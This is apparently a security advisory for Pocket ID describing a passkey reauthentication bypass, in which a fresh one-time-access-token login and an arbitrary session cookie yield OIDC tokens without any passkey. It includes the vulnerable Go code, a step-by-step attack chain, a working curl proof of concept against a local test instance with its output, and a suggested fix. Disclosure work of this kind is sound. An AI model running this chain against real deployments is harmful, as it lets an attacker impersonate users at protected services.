GHSA-hp74-gm6m-2qm5

# Reauthentication Bypass via One-Time Access Token Login

## Summary

A weaker authentication method (OTA token or signup token) is accepted as passkey step-up proof, yielding unauthorized renewable 30-day OIDC refresh tokens for clients explicitly configured with `RequiresReauthentication: true`. The `POST /api/webauthn/reauthenticate` endpoint's access-token fallback checks only JWT freshness (`IssuedAt` within 60 seconds), not the authentication method used. The session cookie gate is also non-validating -- any arbitrary cookie value (e.g. `session=deadbeef`) is accepted, collapsing the reauth boundary to token recency alone.

The bypass needs to succeed only once. The resulting OIDC grant includes a 30-day refresh token that can be rotated indefinitely, providing persistent victim-impersonation access to the protected downstream service. The attacker obtains `access_token` (1-hour TTL), `id_token` (victim's name, email, profile), and `refresh_token` (30-day TTL, renewable) for a client that was explicitly configured to require passkey step-up authentication. The attacker can perform victim-scoped actions at the downstream relying party indefinitely.

## Root Cause

`CreateReauthenticationTokenWithAccessToken` (webauthn_service.go:362-403) only checks that the access token's `IssuedAt` claim is less than 60 seconds old:

```go // webauthn_service.go:378-381 tokenExpiration, ok := token.IssuedAt() if !ok || time.Since(tokenExpiration) > time.Minute { return "", &common.ReauthenticationRequiredError{} } ```

It does not check HOW the user originally authenticated. The `reauthenticateHandler` (webauthn_controller.go:179-207) falls into this path whenever the request body cannot be parsed as a WebAuthn credential assertion:

```go // webauthn_controller.go:189-199 credentialAssertionData, err := protocol.ParseCredentialRequestResponseBody(c.Request.Body) if err == nil { token, err = wc.webAuthnService.CreateReauthenticationTokenWithWebauthn(...) } else { // FALLBACK: Only checks access token age, not auth method accessToken, _ := c.Cookie(cookie.AccessTokenCookieName) token, err = wc.webAuthnService.CreateReauthenticationTokenWithAccessToken(c.Request.Context(), accessToken) } ```

Additionally, the handler's session cookie check (line 180) only verifies that a cookie named `session` exists -- it does not validate the cookie value against any server-side session store. Any arbitrary value (e.g. `session=deadbeef`) satisfies the check:

```go // webauthn_controller.go:180-184 sessionID, err := c.Cookie(cookie.SessionIdCookieName) if err != nil { _ = c.Error(&common.MissingSessionIdError{}) return } // sessionID is passed to CreateReauthenticationTokenWithWebauthn but NOT // to CreateReauthenticationTokenWithAccessToken (the fallback path) ```

In the fallback path, the `sessionID` variable is never used. The session cookie is a gate check only -- presence, not validity. This means the reauth boundary is not bound to a real authenticated browser session.

Meanwhile, `GenerateAccessToken` (jwt_service.go:190-195) always sets `IssuedAt(now)` regardless of how authentication was performed:

```go // jwt_service.go:191-195 now := time.Now() token, err := jwt.NewBuilder(). Subject(user.ID). Expiration(now.Add(...)). IssuedAt(now). // Always "now" — regardless of auth method ```

This function is called by: 1. WebAuthn login (intended passkey path) 2. One-time access token exchange (one_time_access_service.go:200) 3. User signup (user_signup_controller.go:182)

All three produce tokens that bypass the reauthentication freshness check.

## Attack Chain

**Precondition**: An OIDC client has `RequiresReauthentication: true`. The attacker has obtained a one-time access token (via email compromise, admin-issued token, or if unauthenticated OTP emails are enabled).

1. **Exchange OTA for fresh JWT**: `POST /api/one-time-access-token/{token}` returns a fresh access token with `IssuedAt = now`.

2. **Set any session cookie**: The handler checks for cookie existence only. Set `session=deadbeef` (or any arbitrary value). No need to call `/api/webauthn/login/start`.

3. **Bypass reauthentication**: `POST /api/webauthn/reauthenticate` with empty body `{}` and the fake session cookie. WebAuthn parsing fails, falls to the access-token freshness check. Since the token was just issued, the check passes. The session cookie value is not validated in this path. A reauthentication token is returned without any passkey interaction.

4. **Authorize sensitive client**: `POST /api/oidc/authorize` with the reauthentication token and the target client's ID. The authorization code is issued.

5. **Get OIDC tokens**: `POST /api/oidc/token` exchanges the authorization code for access_token, id_token, and refresh_token.

All steps complete in under 2 seconds (60-second window is trivial for scripts).

## Proof of Concept (Verified Live)

Tested against Pocket ID HEAD (626adbf) running in Docker with e2etest build.

```bash # Seed test database curl -s -X POST http://localhost:1411/api/test/reset?skip-ldap=true

# Exchange OTA for admin user (seeded token: HPe6k6uiDRRVuAQV) curl -s -c cookies.txt -X POST http://localhost:1411/api/one-time-access-token/HPe6k6uiDRRVuAQV # Returns 200 with user info, sets access_token cookie with IssuedAt=now

# Bypass reauthentication - empty body triggers access token fallback # Session cookie can be ANY arbitrary value - handler only checks existence curl -s -b cookies.txt -b "session=deadbeef" -X POST http://localhost:1411/api/webauthn/reauthenticate \ -H "Content-Type: application/json" -d '{}' # Returns: {"reauthenticationToken":"al9JkF9kVI0V3UsAqMJIIF73N4ogHial"} # NO passkey interaction! Fake session cookie accepted!

# Authorize sensitive OIDC client (after enabling RequiresReauthentication) curl -s -b cookies.txt -X POST http://localhost:1411/api/oidc/authorize \ -H "Content-Type: application/json" \ -d '{"clientID":"3654a746-...","scope":"openid profile email", "callbackURL":"http://nextcloud/auth/callback", "reauthenticationToken":"MUslJS8ALHDtSIiXGadS3yNiqTrA33q7"}' # Returns: {"code":"J31ZkpanMECULmBrToYmEuG3YiZrqvJ3","callbackURL":"..."} # OIDC authorization code issued without passkey!

# Exchange for full OIDC token set curl -s -X POST http://localhost:1411/api/oidc/token \ -d "grant_type=authorization_code&code=J31Zkp...&client_id=3654a746-..." # Returns: access_token, id_token, refresh_token ```

**Live output from the test run:** ``` [A3] Bypass reauthentication (empty body -> access token fallback)... Reauth token (no passkey used): MUslJS8ALHDtSIiXGadS3yNiqTrA33q7 [A4] Authorize Nextcloud (requiresReauthentication=true)... Authorize response: {"code":"J31ZkpanMECULmBrToYmEuG3YiZrqvJ3","callbackURL":"http://nextcloud/auth/callback","issuer":"http://localhost:1411"} [A5] Exchange authorization code for OIDC tokens... Token response keys: ['access_token', 'token_type', 'id_token', 'refresh_token', 'expires_in'] === FULL CHAIN COMPLETE === ```

## Impact

The `RequiresReauthentication` feature on OIDC clients is designed to enforce step-up authentication via passkeys for sensitive downstream services. This bypass completely defeats that protection and yields persistent access:

- **Unauthorized victim-scoped downstream access**: The attacker receives a valid OIDC grant (access_token, id_token, refresh_token) for a client the admin explicitly protected with passkey reauthentication. The attacker can impersonate the victim at the downstream relying party and perform victim-scoped actions (read data, modify settings, access protected resources) -- this is not just information disclosure but active impersonation. - **Persistent access via refresh token**: The bypass needs to succeed only once (within 60 seconds of OTA exchange). The 30-day refresh token can be rotated indefinitely. Tested and confirmed: after 65 seconds (past the reauth window), the refresh token still produces new access tokens and userinfo access. - **Collapsed security boundary**: The passkey reauthentication requirement degenerates to two non-security-relevant checks: (1) JWT `IssuedAt` recency (satisfied by any login method) and (2) session cookie existence (satisfied by any arbitrary cookie value). Neither check verifies that a passkey ceremony occurred. - **Email compromise escalation**: An attacker who gains access to a user's email can trigger and intercept a one-time access token, then authorize any OIDC client including those the admin explicitly protected with passkey reauthentication. - **Downstream service exposure**: OIDC clients protected by reauthentication typically guard sensitive services (admin panels, CI/CD, infrastructure access). The bypass grants full OIDC tokens including access_token (1h TTL), id_token (with victim's name, email, profile), and refresh_token (30-day TTL, renewable).

**Scope**: The bypass affects OIDC client authorization (the sole consumer of reauthentication tokens). Other sensitive operations (WebAuthn credential management, user profile changes, admin operations) do not use reauthentication tokens.

**Escalation vectors investigated and ruled out**: - Non-admin privilege escalation: tested live, non-admin users get 403 on admin endpoints (OIDC client modification, OTA creation for other users). No middleware confusion. - IDOR in OTA minting: all OTA creation endpoints properly enforce admin auth or are self-service only. No cross-user forgery. - OTA replay: OTA tokens are properly single-use (deleted from DB on exchange).

## Suggested Fix

The access-token fallback in `CreateReauthenticationTokenWithAccessToken` should verify that the session was established via a strong authentication method (passkey/WebAuthn), not just that the access token is fresh.

**Option 1 (simplest)**: Remove the access-token fallback entirely. Always require a WebAuthn ceremony for reauthentication.

**Option 2**: Add an `auth_method` claim to the access token when generated via passkey login. The reauthentication fallback should only succeed for tokens with `auth_method: "webauthn"`.

```go // In GenerateAccessToken, add auth method context func (s *JwtService) GenerateAccessToken(user model.User, authMethod string) (string, error) { // ... existing code ... // Add auth_method claim }

// In CreateReauthenticationTokenWithAccessToken, check auth method func (s *WebAuthnService) CreateReauthenticationTokenWithAccessToken(...) (string, error) { // ... existing verification ... authMethod, _ := token.Get("auth_method") if authMethod != "webauthn" { return "", &common.ReauthenticationRequiredError{} } // ... rest of function ... } ```

## Self-Review

- **Is this by-design?** No. The 60-second freshness window was designed for UX after passkey login (avoid immediate re-prompt). But it accepts any fresh token, not just passkey-authenticated ones. The `RequiresReauthentication` feature clearly intends to enforce passkey interaction. - **Are there upstream bounds?** No. The only check is `IssuedAt` freshness. All login methods produce equivalent tokens. - **Honest weaknesses**: Requires obtaining a one-time access token (email interception or admin-issued). The 60-second window is tight for manual exploitation but trivial for scripts. Impact is limited to OIDC client authorization. The non-validating session cookie weakens the boundary but does not change the fundamental precondition (needing a fresh JWT). - **Existing reports**: No prior reports for this issue. CVE-2026-28512 and CVE-2026-28513 are unrelated. - **Prior art**: No competing reports found on GitHub issues, security advisories, or huntr.

Koda Reef